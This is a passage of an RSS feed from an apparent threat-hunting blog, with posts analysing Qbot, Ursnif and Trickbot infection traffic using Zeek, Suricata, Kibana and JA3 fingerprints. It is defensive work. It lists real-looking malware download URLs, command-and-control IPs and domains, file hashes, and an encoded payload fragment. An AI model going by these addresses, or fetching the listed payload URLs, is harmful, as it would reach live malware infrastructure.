93[.]189[.]41[.]185 port 447 (Trickbot, GTAG, Red4 TLS traffic)
203[.]176[.]135[.]102 port 8082 (enumeration data exfil)
192[.]3[.]124[.]40 (port 80, 50063, and 49767 Trickbot PE download)
170[.]84[.]78[.]224 port 449 (Trickbot, GTAG, Red4 TLS traffic)
212[.]109[.]220[.]222 port 447 (Trickbot, GTAG, Red4 TLS traffic)
85[.]204[.]116[.]84 port 447 (Trickbot, GTAG, Red4 TLS traffic)
5[.]182[.]210[.]226 (Trickbot C2, moderate confidence)
img[.]bullforyou[.]com (Trickbot C2, moderate confidence)
9149a43c1fd3c74269648223255d2a83 - lastimage[.]png (Trickbot binaries)
fed45d3744a23e40f0b0452334826fc2 - lastimage[.]png (Trickbot binaries)
acf866d6a75d9100e03d71c80e1a85d6 - mini[.]png (Trickbot binaries)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Until next time, cheers and happy hunting!&lt;/p&gt;
</description>
                <pubDate>Fri, 06 Mar 2020 00:00:00 +0000</pubDate>
                <link>https://huntops.blue/2020/03/06/trickbot.html</link>
                <guid isPermaLink="true">https://huntops.blue/2020/03/06/trickbot.html</guid>
                
                <category>feed</category>
                
                
            </item>
        
            <item>
                <title>2/28/2020 - Qbot (Qakbot) Infection</title>
                <author>Andrew D. Pease</author>
                <description>&lt;h1 id=&quot;2282020---qbot-qakbot&quot;&gt;2/28/2020 - Qbot (Qakbot)&lt;/h1&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;http://malware-traffic-analysis.net/2020/01/29/index.html&quot;&gt;Packets&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/huntops-blue/huntops-blue.github.io/blob/master/rock-install.md#getting-data-into-rock&quot;&gt;Getting Data into ROCK&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.talosintelligence.com/2019/05/qakbot-levels-up-with-new-obfuscation.html&quot;&gt;Qbot banking trojan background&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Unlike in previous posts, Qbot has not generated any Suricata rules, so we get to actually do some raw hunting!&lt;/p&gt;

&lt;p&gt;Personally, I like to start looking at TLS traffic as it forces me to look hard at metadata instead of relying on the contents of packets. We’ll move on to packets later, but let’s start further down the attacker lifecycle and see if we can work our way backwards.&lt;/p&gt;

&lt;p&gt;Of note, I’ve added the &lt;a href=&quot;https://github.com/salesforce/ja3&quot;&gt;ja3&lt;/a&gt; field to assist with this larger dataset. JA3 is a SSL/TLS client fingerprint that allows us to identify scale good (or bad) client/server TLS connections irrespective of the domain that is used. As you can see, two domains have the same &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ja3&lt;/code&gt; fingerprint but different destination IP addresses and domains. This will help in eliminating traffic to chase by filtering out (or on) that fingerprint instead of every domain/IP combination that could be using it.&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Source IP&lt;/th&gt;
      &lt;th&gt;Destination IP&lt;/th&gt;
      &lt;th&gt;tls.client.ja3&lt;/th&gt;
      &lt;th&gt;tls.server.subject&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;10.1.29.101&lt;/td&gt;
      &lt;td&gt;13[.]107[.]9[.]254&lt;/td&gt;
      &lt;td&gt;9e10692f1b7f78228b2d4e424db3a98c&lt;/td&gt;
      &lt;td&gt;CN=*[.]msedge[.]net&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;10.1.29.101&lt;/td&gt;
      &lt;td&gt;204[.]79[.]197[.]200&lt;/td&gt;
      &lt;td&gt;9e10692f1b7f78228b2d4e424db3a98c&lt;/td&gt;
      &lt;td&gt;CN=www[.]bing[.]com&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;&lt;img src=&quot;/images/2-28-20-1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Let’s filter out the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;9e10692f1b7f78228b2d4e424db3a98c&lt;/code&gt; ja3 fingerprint (and various others that are part of assumed good for now - yahoo, linkedin, skype, etc.) help get our dataset down to a manageable level (over 300 events down to 95).&lt;/p&gt;

&lt;p&gt;Next, let’s look at the largest number of TLS events, and that is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CN=gaevietovp.mobi,OU=Dobubaexo Boolkedm Bmuw,C=ES&lt;/code&gt;, I’ve also added the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tls.validation_status&lt;/code&gt; field and, as you can see, it is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;unable to get local issuer certificate&lt;/code&gt;. That’s not necessarily bad, but it’s different from the other TLS traffic samples we’re looking at.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2-28-20-2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;From here we have some indicators (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;10.1.29.101&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;68[.]1[.]115[.]106&lt;/code&gt;, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gaevietovp[.]mobi&lt;/code&gt;) that we can take and search through some traffic where we can see more than metadata, however, the only traffic for these hosts was over TLS, so we’ve exhausted the route and can list this as a good find based on the other information we collected above.&lt;/p&gt;

&lt;p&gt;Next, let’s remove our filters and check out the HTTP log and see if there’s anything that’s unencrypted that can we dig through. We’ll again eliminate the assumed good (Microsoft, Windows Update, Symantec, etc.), and check out the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;url.orginal&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http.resp_mime_types&lt;/code&gt;. While the filename of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;4444444.png&lt;/code&gt; is a bit suspect, the fact that it has a file extension of a PNG file, but it has a mime type of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;application/x-dosexec&lt;/code&gt; is a big red flag.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2-28-20-3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We’ve got a few options to analyze this file, we can use Docket and carve it from PCAP or we can leverage the file extraction features of Zeek and just grab it right off the sensor.&lt;/p&gt;

&lt;p&gt;Filtering on the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;files&lt;/code&gt; dataset, we can see what the name of the file is that is on the sensor when we look at the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;files.extracted&lt;/code&gt; field - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HTTP-FQbqYF2UXkZ54fXJXi.exe&lt;/code&gt;. Extracted files are located in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/data/zeek/logs/extract_files/&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2-28-20-4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; ll /data/zeek/logs/extract_files/
total 464
-rw-r--r--. 1 zeek zeek 475136 Feb 25 16:38 HTTP-FQbqYF2UXkZ54fXJXi.exe
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If we want to carve that PCAP with Docket, we can do that too…following the TCP stream doesn’t look very good /smh&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2-28-20-5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;So, we’ll Export the HTTP Object (or looked at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HTTP-FQbqYF2UXkZ54fXJXi.exe&lt;/code&gt;) and hash and collect the metadata from that file (truncated).&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;...
File Name                       : 444444.png
File Type                       : Win32 EXE
File Type Extension             : exe
Time Stamp                      : 2020:01:22 15:38:11-06:00
PE Type                         : PE32
Internal Name                   : xseja
Original File Name              : xsejan.dl
Product Name                    : Xseja
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;There’s some interesting things here that we can use when we make some Yara signatures in the Detection-Logic section below:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;it’s not a PNG file, it’s a Win32 PE file&lt;/li&gt;
  &lt;li&gt;it was created on Jan 22, 2020&lt;/li&gt;
  &lt;li&gt;the original file name was &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xsejan.dl&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Furthermore, the hash of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;444444.png&lt;/code&gt; (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;c43367ebab80194fe69258ca9be4ac68&lt;/code&gt;) is loud and proud on &lt;a href=&quot;https://www.virustotal.com/gui/file/56ee803fa903ab477f939b3894af6771aebf0138abe38ae8e3c41cf96bbb0f2a/detection&quot;&gt;VirusTotal&lt;/a&gt; as being Qbot malware.&lt;/p&gt;

&lt;p&gt;Okay, so we’ve got 3 indicators so far, what about the network systems that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;444444.png&lt;/code&gt; was downloaded from (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;alphaenergyeng[.]com/wp-content/uploads/2020/01/ahead/444444[.]png&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;5[.]61[.]27[.]159&lt;/code&gt;)? In digging into those 2, it looks like we’ve identified everything that talked to/from those systems.&lt;/p&gt;

&lt;p&gt;Let’s take a look at the URI structure from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;alphaenergyeng[.]com/wp-content/uploads/2020/01/ahead/444444[.]png&lt;/code&gt; and see if we have any more hits on systems using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wp-content/uploads/2020/01/ahead/&lt;/code&gt;, disco another new hit with 2 new indicators (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;103[.]91[.]92[.]1&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bhatner[.]com/wp-content/uploads/2020/01/ahead/9312[.]zip&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2-28-20-6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I wasn’t able to grab &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;9312.zip&lt;/code&gt;, I have the packets, but there are hundreds of files in the TCP stream with the same name with various sizes. I’m not sure if it’s an issue with my pcap or it’s an obfuscation technique. That said, searching for the URL online yielded several analysis results &lt;a href=&quot;https://app.any.run/tasks/13853cd1-4b0f-45e8-bc49-56fafc5043fe/&quot;&gt;1&lt;/a&gt;, &lt;a href=&quot;https://any.run/report/c483c9d30f122c6675b6d61656c27d51f6a3966dc547ff4f64d38e440278030c/13853cd1-4b0f-45e8-bc49-56fafc5043fe&quot;&gt;2&lt;/a&gt;, &lt;a href=&quot;https://unit42.paloaltonetworks.com/tutorial-qakbot-infection/&quot;&gt;3&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2-28-20-7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;In keeping to my mantra of not “finding” things simply because they’re on the IOC list from Malware Traffic Analysis, beyond playing “whack-a-mole” with DNS entries, which I have done before, there wasn’t much additional information I was able to find through raw hunting. I did want to showcase some indicators that Malware Traffic Analysis did highlight, but beyond knowing they were bad because it’s in the IOC list, I don’t think in good consciousness I can say I’d have found it on my own.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2-28-20-8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;detection-logic&quot;&gt;Detection Logic&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/huntops-blue/detection-logic/blob/master/qbot.md&quot;&gt;Additional analysis, modeling, and signatures (KQL and Yara)&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;artifacts&quot;&gt;Artifacts&lt;/h2&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;68[.]1[.]115[.]106 (post infection SSL/TLS traffic)
gaevietovp[.]mobi (post infection SSL/TLS traffic)
7dd50e112cd23734a310b90f6f44a7cd (post infection ja3 fingerprint)
7c02dbae662670040c7af9bd15fb7e2f (post infection ja3s fingerprint)
5[.]61[.]27[.]159 (HTTP request for Qbot PE)
alphaenergyeng[.]com (HTTP request for Qbot PE)
/wp-content/uploads/2020/01/ahead/444444.png (HTTP request for Qbot PE)
c43367ebab80194fe69258ca9be4ac68 (444444.png - Qbot PE)
103[.]91[.]92[.]1 (HTTP request for Qbot archive)
bhatner[.]com (HTTP request for Qbot archive)
/wp-content/uploads/2020/01/ahead/9312.zip (HTTP request for Qbot archive)
275ebb5c0264dac2d492efd99f96c8ad (9312.zip - Qbot archive)
153[.]92[.]65[.]114 (found by Malware Traffic Analysis)
54[.]36[.]108[.]120 (found by Malware Traffic Analysis)
pop3[.]arcor[.]de (found by Malware Traffic Analysis)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Until next time, cheers and happy hunting!&lt;/p&gt;
</description>
                <pubDate>Fri, 28 Feb 2020 00:00:00 +0000</pubDate>
                <link>https://huntops.blue/2020/02/28/qbot.html</link>
                <guid isPermaLink="true">https://huntops.blue/2020/02/28/qbot.html</guid>
                
                <category>feed</category>
                
                
            </item>
        
            <item>
                <title>2/24/2020 - Ursnif Infection</title>
                <author>Andrew D. Pease</author>
                <description>&lt;h1 id=&quot;2242020---ursnif&quot;&gt;2/24/2020 - Ursnif&lt;/h1&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;http://malware-traffic-analysis.net/2020/02/11/index.html&quot;&gt;Packets&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/huntops-blue/huntops-blue.github.io/blob/master/rock-install.md#getting-data-into-rock&quot;&gt;Getting Data into ROCK&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://attack.mitre.org/software/S0386/&quot;&gt;Qbot banking trojan background&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Suricata has picked up some easy things to get started on, so let’s start there.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2-24-20-1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Of particular interest to me (not that the others aren’t interesting), are the executable signatures; so let’s filter out the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;opendns[.]com&lt;/code&gt; lookups for now. This takes us down to a single source and destination to focus on, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;194[.]61[.]2[.]16&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;10.2.11.101&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2-24-20-2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Hopping over to the Discover tab, when we apply the source IP from the previous step, we see only 8 events…definitely manageable. Let’s get rid of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;alert&lt;/code&gt; dataset because we know about those from the Suricata dashboard.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2-24-20-3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now that we’ve used the metadata to get down to a single IP address as the potential bad actor, let’s use Docket to carve the packets for that IP and see what it can tell us. Using Wireshark on these packets, we follow the TCP stream and see this URL and a downloaded PE executable.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2-24-20-4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Exporting the HTTP object gives us the PE file, which we can analyze as well.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2-24-20-5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;exiftool&lt;/code&gt;, we can see some interesting info, mainly that the original file was called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;soldier.dll&lt;/code&gt; and that the File Type is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Win32 EXE&lt;/code&gt; (truncated).&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ exiftool lastimg.png
...
File Name                       : 215z9urlgz.php%3fl=xubiz8.cab
File Type                       : Win32 EXE
File Type Extension             : exe
MIME Type                       : application/octet-stream
Image File Characteristics      : Executable, 32-bit
PE Type                         : PE32
Original File Name              : soldier.dll
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Checking with VirusTotal, we see that the file hash is &lt;a href=&quot;https://www.virustotal.com/gui/file/996fcd8c55f923e86477d3d8069f9e9b56c6301cf9b2678c5c5c40bf6a636a5f/detection&quot;&gt;known bad&lt;/a&gt; so this looks like a good find!&lt;/p&gt;

&lt;p&gt;Now that we have a few more hints to search through, specifically &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;qr12s8ygy1[.]com&lt;/code&gt;, let’s go back to Kibana and remove the stuff we’ve already found and see if we can find anything else.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Of note, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;settings-win.data.microsoft.com&lt;/code&gt; appears to be a Microsoft botnet sinkhole, so while we can use some of the info, I’m going to remove this from our searches to eliminate traffic routes to chase. Additionally, I’m filtering out the OpenDNS traffic.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Moving along, let’s make a Kibana data table to clean up our view a bit and we see &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;95[.]169[.]181[.]35&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lcdixieeoe[.]com&lt;/code&gt;, of note are those long URI’s + an AVI file. Let’s use Docket to see what’s in those packets.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2-24-20-6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Hopping right into Exporting the HTTP objects, we see the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;*.avi&lt;/code&gt; files we observed in Kibana’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;url.original&lt;/code&gt; field. Let’s save those and take a look.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2-24-20-7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;In looking at the metadata for those “avi” files, we see that they’re actually just Text files.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;======== B.avi
...
File Name                       : B.avi
File Type                       : TXT
File Type Extension             : txt
MIME Type                       : text/plain
...
======== alSLK.avi
...
File Name                       : alSLK.avi
File Type                       : TXT
File Type Extension             : txt
MIME Type                       : text/plain
...
======== jNjcj.avi
...
File Name                       : jNjcj.avi
File Type                       : TXT
File Type Extension             : txt
MIME Type                       : text/plain
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I poked and prodded on these files, but I’m not sure what they are…but I know they aren’t normal media files. It looks like Base64 encoding, but I’m not sure what order they’re supposed to be assembled in to decode. Either way, they have the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.avi&lt;/code&gt; file extension and certainly aren’t, so I’d put that in the suspect category.&lt;/p&gt;

&lt;p&gt;Extract of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;B.avi&lt;/code&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;...
p1kTy18hM3gcANzilINMVJWdUP4AbxDka8IVGBACN+HkZxzdIOi86DoUwglmVgw+BsGdGC3WLgE45BoaeDFcYxpoS8/HzXcwtxxa45Wiqordymiv5JlqzxHWS647gV2B0XpV1+A5h9PTPvxdfJV/CIAYGgCqFLzlxXF3znojgEGWHj/MwRbhIgMIKm9FDqEQEqxjDIv0SC+sqN9TxpQLNPCdqJwMTuQN2sfat464J1bh9LWzHwPwyZXErBH5+XmvEbIjOX3ptyRJOa4C+W0Cf6yOFLIPWas659a0x5tZAQs1VbwMjylWLlx6LA2Dmop1C4dwb+zH5SSJrYo5RKbc6DV1AmmRpeJ1NXkO30Z2Bq27U+h3uRUnMulPWSp1uTeLwc8LSFK49kTIaV0lwWNfDeb975aPmPac6kZP/5g5xgfB5/53/kC2KvHCbMUF8RotemD2ak+Lc0gzP7W/pcmbw/ZhxmdFJd5rPJz1lhGIOEZX6buFkcg3vjsBInd319vLO+ZSZmbU8m1ZryNsfLZ56tEvbafgCY1Jz/tP4UdKL6DZPyjCXC7oIEoCO3yn/yHOaFFQvOFizv2OnUPVW3ST+BN/TwkHUSZfE1+lKvjXJBsONeaiAa5ozLa2uI/ebx1caPFMjw0j62H23r0YFd0opsTw2ovlkvKcx3eoT
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Extract of a normal .avi files&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;RIFF,O
AVI LIST�hdrlavih85�
                    �&quot;�LISTtstrlstrh8vidscvid�&quot;�strf((�IV41JUNKLIST�;
movi00db~
���|
��`��؝����@�|��@�P!����9���&amp;amp;��y��i��y���y��y&amp;gt;�����&amp;lt;��&amp;lt;��y���&amp;lt;��&amp;lt;��&amp;lt;��&amp;lt;��&amp;lt;��&amp;lt;��&amp;lt;��&amp;lt;��&amp;lt;��&amp;lt;��&amp;lt;��&amp;lt;��&amp;lt;��&amp;lt;��&amp;lt;��&amp;lt;��&amp;lt;��&amp;lt;ϲ&amp;lt;����&amp;lt;��&amp;lt;��&amp;lt;ϳ��&amp;lt;��&amp;lt;��&amp;lt;��(��&amp;lt;��&amp;lt;��,��&amp;lt;�S&amp;lt;��&amp;lt;��&amp;lt;��|��y��y&amp;gt;���&amp;lt;��&amp;lt;��&amp;lt;����|n��y��y���y&amp;gt;3��y��y��y�Qm&amp;lt;�� �Z�;d�����ߢS%����T��!~nV�&amp;amp;~RVG���(p&amp;amp;
                                                                    ��۹+��$g�E���V���
�q��b�Z0���I.B�k����X�+|dy:$�X1��9��'ҙ*�
9�1d!��P�x����l�y&quot;d�m'a��#Ԏ&amp;amp;Z]�&quot;�%����fzڬ��q&quot;j�g�c�X�(�p��j��xs`�&amp;lt;Ĺg�R�$��pY�1�
(
 p6��� E	s	V�pɫ�Œ�vNaG�(q�9�����&quot;*���%
                                                    
                                                     �k�8mY��f�.&quot;s�8
                                                                    �(WL�!&amp;lt;-|=_���C&amp;amp;�ďo�s8��nj��T	sh��YX�oB�B��(NᠱI��ib��8���Y\�'1A�.�B$t´pHfB&amp;lt;�9���A�n5Hf�R�D��
                                                                                                                                                                      �g��9sVI���CsF!����2����S�Q�E�P��5Xj�txMF:�G�q�S��k�0N(3q]-��O�J��$��ID&amp;gt;��a�
����c'                                                      A9��
P@X
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Trying a bit more on these files, 2 of these “avi” files end in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;=&lt;/code&gt; (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;B.avi&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jNjcj.avi&lt;/code&gt;), so I am definitely leaning more towards Base64. The file that doesn’t end in a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;=&lt;/code&gt; (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;alSLK.avi&lt;/code&gt;), I tried to append that to the top of the two files that do end in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;=&lt;/code&gt; and then run &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;base64 -D -i [file] -o [file]&lt;/code&gt;, it created binary files (which seems like progress), but no luck in taking it apart. If anyone has any ideas here, feel free to reach out.&lt;/p&gt;

&lt;p&gt;Malware Traffic Analysis noted another indicator that was identified through the analysis of the infected Word documents (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;45[.]141[.]103[.]204&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;q68jaydon3t[.]com&lt;/code&gt;), which we don’t have. So while we see the traffic, it is all over TLS minus the initial DNS request so there’s not much we can do for that. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ja3&lt;/code&gt; nor &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ja3s&lt;/code&gt; hash was collected. I’m adding it to the artifacts below, but this would only be “known bad” if it was found through analysis of the document.&lt;/p&gt;

&lt;h2 id=&quot;detection-logic&quot;&gt;Detection Logic&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/huntops-blue/detection-logic/blob/master/ursnif.md&quot;&gt;Additional analysis, modeling, and signatures (KQL and Yara)&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;artifacts&quot;&gt;Artifacts&lt;/h2&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;194[.]61[.]2[.]16
95[.]169[.]181[.]35
45[.]141[.]103[.]204 (found by Malware Traffic Analysis)
8962cd86b47148840b6067c971ada128
7e34d6e790707bcc862fd54c0129abfa
40186e831cd2e9679ca725064d2ab0fb
2b93fcafabab58a109fcbca4377cccda
qr12s8ygy1[.]com
lcdixieeoe[.]com
q68jaydon3t[.]com (found by Malware Traffic Analysis)
xubiz8[.]cab
/khogpfyc8n/215z9urlgz[.]php
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Until next time, cheers and happy hunting!&lt;/p&gt;
</description>
                <pubDate>Mon, 24 Feb 2020 00:00:00 +0000</pubDate>
                <link>https://huntops.blue/2020/02/24/ursnif.html</link>
                <guid isPermaLink="true">https://huntops.blue/2020/02/24/ursnif.html</guid>
                
                <category>feed</category>
                
                
            </item>
        
            <item>
                <title>2/21/2020 - Trickbot gtag wescan23 Infection</title>
                <author>Andrew D. Pease</author>
                <description>&lt;h1 id=&quot;2212020---trickbot-gtag-wecan23-infection&quot;&gt;2/21/2020 - Trickbot gtag wecan23 Infection&lt;/h1&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.malware-traffic-analysis.net/2020/02/19/index.html&quot;&gt;Packets&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/huntops-blue/huntops-blue.github.io/blob/master/rock-install.md#getting-data-into-rock&quot;&gt;Getting Data into ROCK&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://unit42.paloaltonetworks.com/trickbot-campaign-uses-fake-payroll-emails-to-conduct-phishing-attacks/&quot;&gt;Trickbot information stealer background&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html&quot;&gt;gtag information stealer background&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Right out of the gate, the Suricata dashboard is telling us something is amiss.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2-20-20-1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Let’s pop over to the Discover tab and see what we can ferret out. We’ll apply the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;alert.signature exists&lt;/code&gt; filter and add &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;destination.ip&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;source.ip&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;alert.signature&lt;/code&gt;, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;alert.metadata.tag&lt;/code&gt; and, pretty maids, all in a row.&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Destination IP&lt;/th&gt;
      &lt;th&gt;Source IP&lt;/th&gt;
